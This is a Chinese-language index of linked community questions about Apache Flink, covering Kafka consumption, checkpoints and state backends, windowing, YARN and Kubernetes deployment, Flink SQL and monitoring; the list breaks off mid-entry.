233、[有没有在flink上机器学习算法的一些例子啊,除了官网提供的flink exampke里的和flink ml里已有的](https://t.zsxq.com/iqJiyvN) 234、[如果我想扩展sql的关键词,比如添加一些数据支持,有什么思路,现在想的感觉都要改calcite(刚碰flink感觉难度太大了)](https://t.zsxq.com/uB6aUzZ) 235、[我想实现统计每5秒中每个类型的次数,这个现在不输出,问题出在哪儿啊](https://t.zsxq.com/2BEeu3Z) 236、[我用flink往hbase里写数据,有那种直接批量写hfile的方式的demo没](https://t.zsxq.com/VBA6IUR) 237、[请问怎么监控Kafka消费是否延迟,是否出现消息积压?你有demo吗?这种是用Springboot自己写一个监控,还是咋整啊?](https://t.zsxq.com/IieMFMB) 238、[请问有计算pv uv的例子吗](https://t.zsxq.com/j2fM3BM) 239、[通过控制流动态修改window算子窗口类型和长度要怎么写](https://t.zsxq.com/Rb2Z7uB) 240、[flink的远程调试能出一版么?网上资料坑的多](https://t.zsxq.com/UVbaQfM) 241、[企业里,Flink开发,java用得多,还是scala用得多?](https://t.zsxq.com/AYVjAuB) 242、[flink的任务运行在yarn的环境上,在yarn的resourcemanager在进行主备切换时,所有的flink任务都失败了,而MR的任务可以正常运行。报错信息如下:AM is not registered for known application attempt: appattempt_1565306391442_89321_000001 or RM had restarted after AM registered . AM should re-register 请问这是什么原因,该如何处理呢?](https://t.zsxq.com/j6QfMzf) 243、[请教一个分布式问题,比如在Flink的多个TaskManager上统计指标count,TM1有两条数据,TM2有一条数据,程序是怎么计算出来是3呢?原理是怎么样的](https://t.zsxq.com/IUVZjUv) 244、[现在公司部分sql查询oracle数据特别的慢,因为查询条件很多想问一下有什么方法,例如基于大数据组件可以加快查询速度的吗?](https://t.zsxq.com/7MFEQR3) 245、[想咨询下有没有做过flink同步配置做自定义计算的系统?或者有没有什么好的建议?业务诉求是希望业务用户可以自助配置计算规则做流式计算](https://t.zsxq.com/Mfa6aQB) 246、[我这边有个实时同步数据的任务,白天运行的时候一直是正常的,一到凌晨2点多之后就没有数据sink进mysql。晚上会有一些离线任务和一些dataX任务同步数据到mysql。但是任务一切都是正常的,ck也很快20ms,数据也是正常消费。看了yarn上的日志,没有任何error。自定义的sink里面也设置了日志打印,但是log里没有。这种如何快速定位问题。](https://t.zsxq.com/z3bunyN) 247、[有没有flink处理异常数据的案例资料](https://t.zsxq.com/Y3fe6Mn) 248、[flink中如何传递一个全局变量](https://t.zsxq.com/I2Z7Ybm) 249、[台4核16G的Flink taskmanager配一个单独的Yarn需要一台啥样的服务器?其他功能都不需要就一个调度的东西?](https://t.zsxq.com/iIUZrju) 250、[side-output 的分享](https://t.zsxq.com/m6I2BEE) 251、[使用 InfluxDB + Grafana 监控flink能否配置告警。是不是prometheus更强大点?](https://t.zsxq.com/amURFme) 252、[我们线上遇到一个问题,带状态的算子没有指定 uid,现在代码必须改,那个带状态的算子 不能正常恢复了,有解吗?通过某种方式能获取到系统之前自动生成的uid吗?](https://t.zsxq.com/rZfyZvn) 253、[tableEnv.registerDataStream("Orders", ds, "user, product, amount, proctime.proctime, rowtime.rowtime");请问像这样把流注册成表的时候,这两个rowtime分别是什么意思](https://t.zsxq.com/uZz3Z7Q) 254、[我想问一下 flink on yarn session 模式下提交任务官网给的例子是 flink run -c xxx.MainClass job.jar 这里是怎么知道 yarn 上的哪个是 flink 的 appid 呢?](https://t.zsxq.com/yBiEyf2) 255、[Flink Netty Connector 这个有详细的使用例子? 通过Netty建立的source能直接回复消息吗?还是只能被动接受消息?](https://t.zsxq.com/yBeyfqv) 256、[请问flink sqlclient 提交的作业可以用于生产环境吗?](https://t.zsxq.com/FIEia6M) 257、[flink批处理写回mysql是否没法用tableEnv.sqlUpdate("insert into t2 select * from t1")?作为sink表的t2要如何注册?查跟jdbc相关的就两个TableSink,JDBCAppendTableSink用于BatchTableSink,JDBCUpertTablSink用于StreamTableSink。前者只接受insert into values语法。所以我是先通过select from查询获取到DataSet再JDBCAppendTableSink.emitDataSet(ds)实现的,但这样达不到sql rule any目标](https://t.zsxq.com/ZBIaUvF) 258、[请问在stream模式下,flink的计算结果在不落库的情况下,可以通过什么restful api获取计算结果吗](https://t.zsxq.com/aq3BIU7) 259、[现在我有场景,需要把一定的消息发送给kafka topic指定的partition,该怎么搞?](https://t.zsxq.com/NbYnAYF) 260、[请问我的job作业在idea上运行正常 提交到生产集群里提示Caused by: java.lang.NoSuchMethodError: org.apache.flink.api.java.ClosureCleaner.clean(Ljava/lang/Object;Z)V请问如何解决](https://t.zsxq.com/YfmAMfm) 261、[遇到一个很奇怪的问题,在使用streamingSQL时,发现timestamp在datastream的时候还是正常的,在注册成表print出来的时候就少了八小时,大佬知道是什么原因么?](https://t.zsxq.com/72n6MVb) 262、[请问将flink的产生的一些记录日志异步到kafka中,需要如何配置,配置后必须要重启集群才会生效吗](https://t.zsxq.com/RjQFmIQ) 263、[星主你好,问下flink1.9对维表join的支持怎么样了?有文档吗](https://t.zsxq.com/Q7u3vzR) 264、[请问下 flink slq: SELECT city_name as city_name, count(1) as total, max(create_time) as create_time FROM * 。代码里面设置窗口为: retractStream.timeWindowAll(Time.minutes(5))一个global窗口,数据写入hdfs 结果数据重复 ,存在两条完全重复的数据如下 常州、2283、 1566230703):请问这是为什么](https://t.zsxq.com/aEEA66M) 265、[我用rocksdb存储checkpoint,线上运行一段时间发展checkpoint占用空间越来越大,我是直接存本地磁盘上的,怎么样能让它自动清理呢?](https://t.zsxq.com/YNrfyrj) 266、[flink应该在哪个用户下启动呢,是root的还是在其他的用户呢](https://t.zsxq.com/aAaqFYn) 267、[link可以读取lzo的文件吗](https://t.zsxq.com/2nUBIAI) 268、[怎么快速从es里面便利数据?我们公司现在所有的数据都存在Es里面的;我发现每次从里面scan数据的时候特别慢;你那有没有什么好的办法?](https://t.zsxq.com/beIY7mY) 269、[如果想让数据按照其中一个假如f0进行分区,然后每一个分区做处理的时候并行度都是1怎么设置呢](https://t.zsxq.com/fYnYrR7) 270、[近在写算子的过程中,使用scala语言写flink比较快,而且在process算子中实现ontime方式时,可以使用scala中的listbuff来输出一个top3的记录;那么到了java中,只能用ArrayList将flink中的ListState使用get()方法取出之后放在ArrayList吗?](https://t.zsxq.com/nQFYrBm) 271、[请问老师能否出一些1.9版本维表join的例子 包括async和维表缓存?](https://t.zsxq.com/eyRRv7q) 272、[flink kaka source设置为从组内消费,有个问题是第一次启动任务,我发现kafka中的历史数据不会被消费,而是从当前的数据开始消费,而第二次启动的时候才会从组的offset开始消费,有什么办法可以让第一次启动任务的时候可以消费kafka中的历史数据吗](https://t.zsxq.com/aMRzjMb) 273、[1.使用flink定时处理离线数据,有时间戳字段,如何求出每分钟的最大值,类似于流处理窗口那样,2如果想自己实现批流统一,有什么好的合并方向吗?比如想让流处理使用批处理的一个算子。](https://t.zsxq.com/3ZjiEMv) 274、[flink怎么实现流式数据批量对待?流的数据是自定义的source,读取的redis多个Hash表,需要控制批次的概念](https://t.zsxq.com/AIYnEQN) 275、[有人说不推荐在一个task中开多个线程,这个你怎么看?](https://t.zsxq.com/yJuFEYb) 276、[想做一个运行在hbase+es架构上的sql查询方案,flink sql能做吗,或者有没有其他的解决方案或者思路?](https://t.zsxq.com/3f6YBmu) 277、[正在紧急做第一个用到Flink的项目,咨询一下,Flink 1.8.1写入ES7就是用自带的Sink吗?有没有例子分享一下,我搜到的都是写ES6的。这种要求我知道不适合提,主要是急,自己试几下没成功。T T](https://t.zsxq.com/jIAqVnm) 278、[手动停止任务后,已经保存了最近一次保存点,任务重新启动后,如何使用上一次检查点?](https://t.zsxq.com/2fAiuzf) 279、[批处理使用流环境(为了使用窗口),那如何确定批处理结束,就是我的任务可以知道批文件读取完事,并且处理完数据后关闭任务,如果不能,那批处理如何实现窗口功能](https://t.zsxq.com/BIiImQN) 280、[如果限制只能在window 内进行去重,数据量还比较大,有什么好的方法吗?](https://t.zsxq.com/Mjyzj66) 281、[端到端exactly once有没有出文章](https://t.zsxq.com/yv7Ujme) 282、[流怎么动态加?,流怎么动态删除?,参数怎么动态修改 (广播](https://t.zsxq.com/IqNZFey) 283、[自定义的source数据源实现了有批次的概念,然后Flink将这个一个批次流注册为多个表join操作,有办法知道这个sql什么时候计算完成了?](https://t.zsxq.com/r7AqvBq) 284、[编译 Flink 报错,群主遇到过没,什么原因](https://t.zsxq.com/rvJiyf6) 285、[我现在是flink on yarn用zookeeper做HA现在在zk里查看检查点信息,为什么里面的文件是ip,而不是路径呢?我该如何拿到那个路径。 - 排除rest api 方式获取,因为任务关了restapi就没了 -排除history server,有点不好用](https://t.zsxq.com/nufIaey) 286、[在使用streamfilesink消费kafka之后进行hdfs写入的时候,当直接关闭flink程序的时候,下次再启动程序消费写入hdfs的时候,文件又是从part-0-0开始,这样就跟原来写入的冲突了,该文件就一直处于ingress状态。](https://t.zsxq.com/Fy3RfE6) 287、[现在有一个实时数据分析的需求,数据量不大,但要求sink到mysql,因为是实时更新的,我现在能想到的处理方法就是每次插入一条数据的时候,先从mysql读数据,如果有这条,就执行update,没有的话就insert,但是这样的话每写一条数据就有两次交互了。想问一下老师有没有更好的办法,或者flink有没有内置的api可以执行这种不确定是更新还是插入的操作](https://t.zsxq.com/myNF2zj) 288、[Flink设置了checkpoint,job manage会定期删除check point数据,但是task manage不删除,这个是什么原因](https://t.zsxq.com/ZFiMzrF) 289、[请教一下使用rocksdb作为statebackend ,在哪里可以监控rocksdb io 内存指标呢](https://t.zsxq.com/z3RzJUV) 290、[状态的使用场景,以及用法能出个文章不,这块不太了解](https://t.zsxq.com/AUjE2ZR) 291、[请问一下 Flink 1.9 SQL API中distinct count 是如何实现高效的流式去重的?](https://t.zsxq.com/aaynii6) 292、[在算子内如何获取当前算子并行度以及当前是第几个task](https://t.zsxq.com/mmEyVJA) 293、[有没有flink1.9结合hive的demo。kafka到hive](https://t.zsxq.com/fIqNF6y) 294、[能给讲讲apache calcite吗](https://t.zsxq.com/ne6UZrB) 295、[请问一下像这种窗口操作,怎么保证程序异常重启后保持数据的状态呢?](https://t.zsxq.com/VbUVFMr) 296、[请问一下,我在使用kafkasource的时候,把接过来的Jsonstr转化成自定义的一个类型,用的是gson. fromJson(jsonstr,classOf[Entity])报图片上的错误了,不知道怎么解决,在不转直接打印的情况下是没问题的](https://t.zsxq.com/EMZFyZz) 297、[DataStream读数据库的表,做多表join,能设置时间窗口么,一天去刷一次。流程序会一直拉数据,数据库扛不住了](https://t.zsxq.com/IEieI6a) 298、[请问一下flink支持多路径通配读取吗?例如路径:s3n://pekdc2-deeplink-01/Kinesis/firehose/2019/07/03/*/* ,通配读取找不到路径。是否需要特殊设置](https://t.zsxq.com/IemmiY7) 299、[flink yarn环境部署 但是把容器的url地址删除。就会跳转到的hadoop的首页。怎么屏蔽hadoop的yarn首页地址呢?要不暴露这个地址用户能看到所有任务很危险](https://t.zsxq.com/QvZFUNN) 300、[flink sql怎么写一个流,每秒输出当前时间呢](https://t.zsxq.com/2JiubeM) 301、[因为想通过sql弄一个数据流。哈哈 另外想问一个问题,我把全局设置为根据处理时间的时间窗口,那么我在processAllWindowFunction里面要怎么知道进来的每个元素的处理时间是多少呢?这个元素进入这个时间窗口的依据是什么](https://t.zsxq.com/bQ33BmM) 302、[如何实现一个设备上报的数据存储到同一个hdfs文件中?](https://t.zsxq.com/rB6ybYF) 303、[我自己写的kafka生产者测试,数据格式十分简单(key,i)key是一个固定的不变的字符串,i是自增的,flink consumer这边我开了checkpoint. 并且是exactly once,然后程序很简单,就是flink读取kafka的数据然后直接打印出来,我发现比如我看到打印到key,10的时候我直接关掉程序,然后重新启动程序,按理来说应当是从上次的offset继续消费,也就是key,11,但实际上我看到的可能是从key,9开始,然后依次递增,这是是不是说明是重复消费了,那exactly one需要怎么样去保障?](https://t.zsxq.com/MVfeeiu) 304、[假设有一个数据源在源源不断的产生数据,到Flink的反压来到source端的时候,由于Flink处理数据的速度跟不上数据源产生数据的速度, 问题1: 这个时候在Flink的source端会怎么处理呢?是将处理不完的数据丢弃还是进行缓存呢? 问题2: 如果是缓存,怎么进行缓存呢?](https://t.zsxq.com/meqzJme) 305、[一个stream 在sink多个时,这多个sink是串行 还是并行的。](https://t.zsxq.com/2fEeMny) 306、[我想在流上做一个窗口,触发窗口的条件是固定的时间间隔或者数据量达到预切值,两个条件只要有一个满足就触发,除了重写trigger在,还有什么别的方法吗?](https://t.zsxq.com/NJY76uf) 307、[使用rocksdb作为状态后端,对于使用sql方式对时间字段进行group by,以达到去窗口化,但是这样没办法对之前的数据清理,导致磁盘空间很大,对于这种非编码方式,有什么办法设置ttl,清理以前的数据吗](https://t.zsxq.com/A6UN7eE) 308、[请问什么时间窗为什么会有TimeWindow{start=362160000, end=362220000} 和 TimeWindow{start=1568025300000, end=1568025360000}这两种形式,我都用的是一分钟的TumblingEventTimeWindows,为什么会出现不同的情况?](https://t.zsxq.com/a2fUnEM) 309、[比如我统计一天的订单量。但是某个数据延迟一天才到达。比如2019.08.01这一天订单量应该是1000,但是有个100的单据迟到了,在2019.08.02才到达,那么导致2019.08.01这一天统计的是900.后面怎么纠正这个错误的结果呢](https://t.zsxq.com/Y3jqjuj) 310、[flink streaming 模式下只使用堆内内存么](https://t.zsxq.com/zJaMNne) 311、[如果考虑到集群的迁移,状态能迁移吗](https://t.zsxq.com/EmMrvVb) 312、[我们现在有一个业务场景,数据上报的值是这样的格式(时间,累加值),我们需要这样的格式数据(时间,当前值)。当前值=累加值-前一个数据的累加值。flink如何做到呢,有考虑过state机制,但是服务宕机后,state就被清空了](https://t.zsxq.com/6EUFeqr) 313、[Flink On k8s 与 Flink on Yarn相比的优缺点是什么?那个更适合在生产环境中使用呢](https://t.zsxq.com/y7U7Mzf) 314、[有没有datahub链接flink的 连接器呀](https://t.zsxq.com/zVNbaYn) 315、[单点resourcemanager 挂了,对任务会产生什么影响呢](https://t.zsxq.com/FQRNJ2j) 316、[flink监控binlog,跟另一张维表做join后,sink到MySQL的最终表。对于最终表的增删改操作,需要定义不同的sink么?](https://t.zsxq.com/rnemUN3) 317、[请问窗口是在什么时候合并的呢?例如:数据进入windowoperator的processElement,如果不是sessionwindow,是否会进行窗口合并呢?](https://t.zsxq.com/JaaQFqB) 318、[Flink中一条流能参与多路计算,并多处输出吗?他们之前会不会相互影响?](https://t.zsxq.com/AqNFM33) 319、[keyBy算子定义是将一个流拆分成不相交的分区,每个分区包含具有相同的key的元素。我不明白的地方是: keyBy怎么设置分区数,是给这个算子设置并行度吗? 分区数和slot数量是什么关系?](https://t.zsxq.com/nUzbiYj) 320、[动态cep-pattern,能否详细说下?滴滴方案未公布,您贴出来的几张图片是基于1.7的。或者有什么想法也可以讲解下,谢谢了](https://t.zsxq.com/66URfQb) 321、[问题1:使用常驻型session ./bin/yarn-session.sh -n 10 -s 3 -d启动,这个时候分配的资源是yarn 队列里面的, flink提交任务 flink run xx.jar, 其余机器是怎样获取到flink需要运行时的环境的,因为我只在集群的一台机器上有flink 安装包。](https://t.zsxq.com/maEQ3NR) 322、[flink task manager中slot间的内存隔离,cpu隔离是怎么实现的?flink 设计slot的概念有什么意义,为什么不像spark executor那样,内部没有做隔离?](https://t.zsxq.com/YjEYjQz) 323、[spark和kafka集成,direct模式,spark的一个分区对应kafka的一个主题的一个分区。那flink和kafka集成的时候,怎么消费kafka的数据,假设kafka某个主题5个partition](https://t.zsxq.com/nuzvVzZ) 324、[./bin/flink run -m yarn-cluster 执行的flink job ,作业自己打印的日志通过yarn application的log查看不了,只有集群自身的日志,程序中logger.info打印日志存放在哪,还是我打包的方式问题,打日志用的是slf4j。](https://t.zsxq.com/27u3ZZf) 325、[在物联网平台中,需要对每个key下的数据做越限判断,由于每个key的越限值是不同的,越限值配置在实时数据库中。 若将越限值加载到state中,由于key的量很大(大概3亿左右),会导致state太大,可能造成内存溢出。若在处理数据时从实时数据库中读取越限值,由于网络IO开销,可能造成实时性下降。请问该如何处理?谢谢](https://t.zsxq.com/miuzFY3) 326、[如果我一个flink程序有多个window操作,时间戳和watermark是不是每个window都需要分配,还有就是事件时间是不是一定要在数据源中就存在某个字段](https://t.zsxq.com/amURvZR) 327、[有没有flink1.9刚支持的用ddl链接kafka并写入hbase的资料,我们公司想把离线的数仓逐渐转成实时的,写sql对于我们来说上手更快一些,就想找一些这方面的资料学习一下。](https://t.zsxq.com/eqFuBYz) 328、[flink1.9 进行了数据类型的转化时发生了不匹配的问题, 目前使用的Type被弃用,推荐使用是datatypes 类型,但是之前使用的Type类型的方法 对应的schema typeinformation 目前跟datatypes的返回值不对应,请问下 该怎么去调整适配?](https://t.zsxq.com/yVvR3V3) 329、[link中处理数据其中一条出了异常都会导致整个job挂掉?有没有方法(除了异常捕获)让这条数据记录错误日志就行 下面的数据接着处理呢? 粗略看过一些容错处理,是关于程度挂了重启后从检查点拉取数据,但是如果这条数据本身就问提(特别生产上,这样就导致job直接挂了,影响有点大),那应该怎么过滤掉这条问题数据呢(异常捕获是最后的方法](https://t.zsxq.com/6AIQnEi) 330、[我在一个做日报的统计中使用rabbitmq做数据源,为什么rabbitmq中的数据一直处于unacked状态,每分钟触发一次窗口计算,并驱逐计算过的元素,我在测试环境数据都能ack,但是一到生产环境就不行了,也没有报错,有可能是哪里出了问题啊](https://t.zsxq.com/RBmi2vB) 331、[我们目前数据流向是这样的,kafka source ,etl,redis sink 。这样chk 是否可以保证端到端语义呢?](https://t.zsxq.com/fuNfuBi) 332、[1.在通过 yarn-session 提交 flink job 的时候。flink-core, flink-clients, flink-scala, flink-streaming-scala, scala-library, flink-connector-kafka-0.10 那些应该写 provided scope,那些应该写 compile scope,才是正确、避免依赖冲突的姿势? 2.flink-dist_2.11-1.8.0.jar 究竟包含了哪些依赖?(这个文件打包方式不同于 springboot,无法清楚看到有哪些 jar 依赖)](https://t.zsxq.com/mIeMzvf) 333、[Flink 中使用 count window 会有这样的问题就是,最后有部分数据一直没有达到 count 的值,然后窗口就一直不触发,这里看到个思路,可以将 time window + count window 组合起来](https://t.zsxq.com/AQzj6Qv) 334、[flink流处理时,注册一个流数据为Table后,该流的历史数据也会一直在Table里面么?为什么每次来新数据,历史处理过得数据会重新被执行?](https://t.zsxq.com/VvR3Bai) 335、[available是变化数据,除了最新的数据被插入数据库,之前处理过数据又重新执行了几次](https://t.zsxq.com/jMfyNZv) 336、[这里两天在研究flink的广播变量,发现一个问题,DataSet数据集中获取广播变量,获取的内存地址是一样的(一台机器维护一个广播数据集)。在DataStream中获取广播变量就成了一个task维护一个数据集。(可能是我使用方式有问题) 所以想请教下星主,DataStream中获取一个画面变量可以如DataSet中一台机器维护一个数据吗?](https://t.zsxq.com/m6Yrv7Q) 337、[Flink程序开启checkpoint 机制后,用yarn命令多次killed以后,ckeckpoint目录下有多个job id,再次开辟资源重新启动程序,程序如何找到上一次jobid目录下,而不是找到其他的jobid目录下?默认是最后一个还是需要制定特定的jobid?](https://t.zsxq.com/nqzZrbq) 338、[发展昨天的数据重复插入问题,是把kafka里进来的数据流registerDataStream注册为Table做join时,打印表的长度发现,数据会一直往表里追加,怎样才能来一条处理一条,不往上追加呀](https://t.zsxq.com/RNzfQ7e) 339、[flink1.9 sql 有没有类似分区表那样的处理方式呢?我们现在有一个业务是1个source,但是要分别计算5分钟,10分钟,15分钟的数据。](https://t.zsxq.com/AqRvNNj) 340、[我刚弄了个服务器,在启动基础的命令时候发现task没有启动起来,导致web页是三个0,我看了log也没有报错信息,请问您知道可能是什么问题吗?](https://t.zsxq.com/q3feIuv) 241、[我自定义了个 Sink extends RichSinkFunction,有了 field: private transient Object lock; 这个 lock 我直接初始化 private transient Object lock = new Object(); 就不行,在 invoke 里 使用lock时空指针,如果lock在 自定义 Sink 的 构造器初始化也不行。但是在 open 方法里初始化就可以,为什么?能解释一下 执行原理吗?如果一个slot 运行着5个 sink实例,那么 这个sink对象会new 5个还是1个?](https://t.zsxq.com/EIiyjeU) 342、[请问Kafka的broker 个数怎么估算?](https://t.zsxq.com/aMNnIy3) 343、[flink on yarn如何远程调试](https://t.zsxq.com/BU7iqbi) 344、[目前有个需求:就是源数据是dataA、dataB、DataC通过kafka三个topic获取,然后进行合并。 但是有有几个问题,目前不知道怎么解决: dataA="id:10001,info:***,date:2019-08-01 12:23:33,entry1:1,entryInfo1:***" dataB="id:10001,org:***,entry:1" dataC="id:10001,location:***" (1) 如何将三个流合并? (1) 数据中dataA是有时间的,但是dataB和dataC中都没有时间戳,那么如何解决eventTime及迟到乱序的问题?帮忙看下,谢谢](https://t.zsxq.com/F6U7YbY) 345、[我flink从kafka读json数据,在反序列化后中文部分变成了一串问号,请问如何做才能使中文正常](https://t.zsxq.com/JmIqfaE) 346、[我有好几个Flink程序(独立jar),在线业务数据分析时都会用到同样的一批MySQL中的配置数据(5千多条),现在的实现方法是每一个程序都是独立把这些配置数据装到内存中,便于快速使用,但现在感觉有些浪费资源和结构不够美观,请问这类情况有什么其他的解决方案吗?谢谢](https://t.zsxq.com/3BMZfAM) 347、[Flink checkpoint 选 RocksDBStateBackend 还是 FsStatebackEnd ,我们目前是任务执行一段时间之后 任务就会被卡死。](https://t.zsxq.com/RFMjYZn) 348、[flink on k8s的高可用、扩缩容这块目前还有哪些问题?](https://t.zsxq.com/uVv7uJU) 349、[有个问题问一下,是这样的现在Kafka4个分区每秒钟生产4000多到5000条日志数据,但是在消费者FLINK这边接收我只开了4个solt接收,这边只是接收后做切分存储,现在出现了延迟现象,我不清楚是我这边处切分慢了还是Flink接收kafka的数据慢了?Flink UI界面显示这两个背压高](https://t.zsxq.com/zFq3fqb) 350、[想请问一下,在flink集群模式下,能不能指定某个节点来执行一个task?](https://t.zsxq.com/NbaMjem) + [请问一下aggrefunction 的merge方法什么时候会用到呢,google上有答案说合并相同的key, 但相同的key应该是被hash相同的task上了?这块不是很理解](https://t.zsxq.com/VnEim6m) + [请问flink遇到这种问题怎么解决?1. eventA发起事件,eventB响应事件,每分钟统计事件的响应的成功率。说明,eventA和eventB有相同的commitId关联,eventA到flink的时间早于eventB的时间,但eventB到达的时间也有可能早于eventA。要求是:eventA有A,B,C,D,E五条数据,如果eventB有A',B',C',X',Y'五条数据,成功率是3/5.2. 每分钟统计一次eventC成功率(状态0、1)。但该事件日志会重复报,只统计eventTime最早的一条。上一分钟统计到过的,下一分钟不再统计](https://t.zsxq.com/eMnMrRJ) + [Flink当前版本中Yarn,k8s,standalone的HA设计方案与源码解析请问可以系统性讲讲么](https://t.zsxq.com/EamqrFQ) + [怎么用javaAPI提交job以yarn-cluster模式运行](https://t.zsxq.com/vR76amq) + [有人遇到过流损坏的问题么?不知道怎么着手解决?](https://t.zsxq.com/6iMvjmq) + [从这个日志能看出什么异常的原因吗?我查看了kafka,yarn,zookeeper。这三个组件都没有任何异常](https://t.zsxq.com/uByFUrb) + [为啥flink内部维护两套通信框架,client与jobmanager和jobmanager与taskmanager是akka通信,然而takmanager之间是netty通信?](https://t.zsxq.com/yvBiImq) + [问各位球友一个小问题,flink 的 wordcount ,输出在控制台的时候,前面有个数字 > 是什么意思](https://t.zsxq.com/yzzBMji) + [从kafka的topicA读数据,转换后写入topicB,开启了checkpoint,任务启动后正常运行,新的topic也有数据写入,但是想监控一下消费topicA有没有延迟,使用kafka客户端提供的脚本查看groupid相关信息,提示没有该groupid](https://t.zsxq.com/MNFUVnE) + [将flink分流之后,再进行窗口计算,如何将多个窗口计算的结果汇总起来 作为一个sink,定时输出? 我想将多个流计算的不同实时统计指标,比如每1min对多个指标进行统计(多个指标分布在不同的流里面),然后将多个指标作为一条元组存入mysql中?](https://t.zsxq.com/mUfm2zF) + [Flink最终如何输出到数据大屏上去。](https://t.zsxq.com/nimeA66) + [为什么我keyby 之后,不同key的数据会进入同一个AggregateFunction中吗? 还是说不同key用的AggregateFunction实列是同一个呢?我在AggregateFunction中给一个对象赋值之后,发现其他key的数据会把之前的数据覆盖,这是怎么回事啊?](https://t.zsxq.com/IMzBUFA) + [flink窗口计算的结果怎么和之前的结果聚合在一起](https://t.zsxq.com/yFI2FYv) + [flink on yarn 的任务该如何监控呢,之前自带 influxdb metrics 好像无法采集到flink on yarn 的指标](https://t.zsxq.com/ZZ3FmqF) + [link1.9.0消费kafka0.10.1.1数据时,通过ui监控查看发现部分分区的current offset和commit offset一直显示为负数,随着程序运行也始终不变,麻烦问下这是怎么回事?](https://t.zsxq.com/QvRNjiU) + [flink 1.9 使用rank的时候报,org.apache.flink.table.api.TableException: RANK() on streaming table is not supported currently](https://t.zsxq.com/Y7MBaQb) + [Flink任务能不能动态的变更source源kafka的topic,但是又不用重启任务](https://t.zsxq.com/rzVjMjM) + [1、keyed state 和opeater state 区分点是啥(是否进行了shuffle流程?) 2、CheckpointedFunction 这个接口的作用是啥? 3、何时调用这个snapshotState这个方法?](https://t.zsxq.com/ZVnEyne) + [请教一下各位大佬,日志一般都怎么收集?task manager貌似把不同job的日志都打印在一起,有木有分开打印的办法?](https://t.zsxq.com/AayjeiM) + [最近接到一个需求,统计今天累计在线人数并且要去重,每5秒显示一次结果,请问如何做这个需求?](https://t.zsxq.com/IuJ2FYR) + [目前是flink消费kafka的一个问题。kafka使用的是阿里云的kafka,可以申请consumer。目前在同一个A-test的topic下,使用A1的consumer组进行消费,但是在两个程序里,source端得到的数据量差别很大,图一是目前消费kafka写入到另一个kafka的topic中,目前已知只有100条;图二是消费kafka,写入到hdfs中。两次消费起始偏移量一致(消费后,恢复偏移量到最初再消费)按照时间以及设置从头开始消费的策略也都还是只有100条;后面我把kafka的offset提交到checkpoint选项关掉了,也还是只有100条。很奇怪,所以想问一下,目前这个问题是要从state来出发解决](https://t.zsxq.com/eqBUZFm) + [问一下 grafana的dashboard 有没有推荐的,我们现在用是prometheus pushgateway reporter来收集metric。但是目前来说,到底哪些指标是要重点关注的还是不太清楚](https://t.zsxq.com/EYz7iMV) + [on yarn 1. session 模式提交是不是意味着 多个flink任务会由同一个 jobManager 管理 2. per-job 模式 会启动各自多个jobManager](https://t.zsxq.com/u3vVV3b) + [您在flink里面使用过lettuce连接redis cluster吗,我这里使用时报错,Cannot retrieve initial cluster partitions from initial URIs](https://t.zsxq.com/VNnEQJ6) + [zhisheng你好,我在使用flink滑动窗口时,每10分钟会向redis写入大量的内容,影响了线上性能,这个有什么办法可以控制写redis的速度吗?](https://t.zsxq.com/62ZZJmi) + [flink standalone模式,启动服务的命令为:flink run -c 类名 jar包 。对应的Slots怎么能均匀分布呢?目前遇到问题,一直使用一个机器的Slots,任务多了后直接会把taskjob挂掉。报错信息如二图](https://t.zsxq.com/2zjqVnE) + [zhisheng你好,像standalone与yarn集群,其master与workers相互通信都依赖于ssh协议,请问有哪种不依赖于ssh协议的搭建方式吗?](https://t.zsxq.com/qzrvbaQ) + [官网中,这两种周期性watermaker的产生分别适用什么场景呢?](https://t.zsxq.com/2fUjAQz) + [周期性的watermarke 设置定时产生, ExecutionConfig.setAutoWatermarkInterval(…),这个定时的时间一般怎样去评估呢?](https://t.zsxq.com/7IEAyV3) + [想问一下能否得到flink分配资源的时间?](https://t.zsxq.com/YjqRBq3) + [问下flink向kafka生产数据有时候报错:This server does not host this topic-partition](https://t.zsxq.com/vJyJiMJ) + [flink yarn 模式启动,log4j. properties配置信息见图片,yarn启动页面的taskmanager能看到日志输出到stdout,但是在指定的日志文件夹中就是没有日志文件生成。,本地运行有日志文件的](https://t.zsxq.com/N3ZrZbQ) + [教一个问题。flink2hbase 如何根据hbase中的日期字段,动态按天建表呢?我自定义了hbase sink,在invoke方法中根据数据的时间建表,但是带来了一个问题,每条数据都要去check表是否存在,这样会产生大量的rpc请求。请问星主大大,针对上述这种情况,有什么好的解决办法吗?](https://t.zsxq.com/3rNBubU) + [你好,有关于TM,slots,内存,线程数,进程数,cpu,调度相关的资料吗?比如一个slot起多少线程,为什么,如何起的,task是如何调度的之类的。网上没找到想要的,书上写的也不够细。源码的话刚开始看不太懂,所以想先找找资料看看](https://t.zsxq.com/buBIAMf) + [能否在flink中只新建一个FlinkKafkaConsumer读取多个kafka的topics ,这些topics的处理逻辑都是一样的 最终将数据写入每个topic对应的es表 请问这个实现逻辑是怎样的 ](https://t.zsxq.com/EY37aEm) + [能不能描述一下在窗口中,例如滚动窗口,多个事件进窗口后,事件在内存中保存的形式是怎么样的?会变成一个state?还是多个事件变成一个state?事件跟state的关系?事件时间过了在窗口是怎么清理事件的?如果state backends用的是RocksDBStateBackend,增量checkpoint,怎么清理已保存过期的事件咧?](https://t.zsxq.com/3vzzj62) + [请问一下 Flink的监控是如何做的?比如job挂了能告警通知。目前是想用Prometheus来做监控,但是发现上报的指标没有很符合的我需求。我这边用yarn-session启动的job,一个jobManger会管理多个job。Prometheus还是刚了解阶段可能遗漏了一些上报指标,球主大大有没有好的建议。](https://t.zsxq.com/vJyRnY7) + [ProcessTime和EventTime是否可以一起使用?当任务抛出异常失败的时候,如果配置了重启策略,重启时是不是从最近的checkpoint继续?遇到了一个数据库主键冲突的问题,查看kafka数据源发现该主键的消息只有一条,查看日志发现Redis连接池抛了异常(当时Redis在重启)导致任务失败重试,当时用的ProcessTime](https://t.zsxq.com/BuZJaUb) + [flink-kafka 自定义反序列化中如何更好的处理数据异常呢,有翻到前面一篇提问,如果使用 try-catch 捕获到异常,是抛出异常更好呢?还是return null 更好呢](https://t.zsxq.com/u3niYni) + [现在在用flink做上下游数据的比对,现在遇到了性能瓶颈,一个节点现在最多只能消费50条数据。观察taskmanager日志的gc日志发现最大堆内存有2.7g,但是新生代最大只有300m。能不能设置flink的jvm参数,flink on yarn启动模式](https://t.zsxq.com/rvJYBuB) + [请教一个原理性的问题,side out put和直接把一个流用两种方式处理有啥本质区别?我试了下,把一个流一边写缓存,一边入数据库,两边也都是全量数据](https://t.zsxq.com/Ee27i6a) + [如何定义一个flink 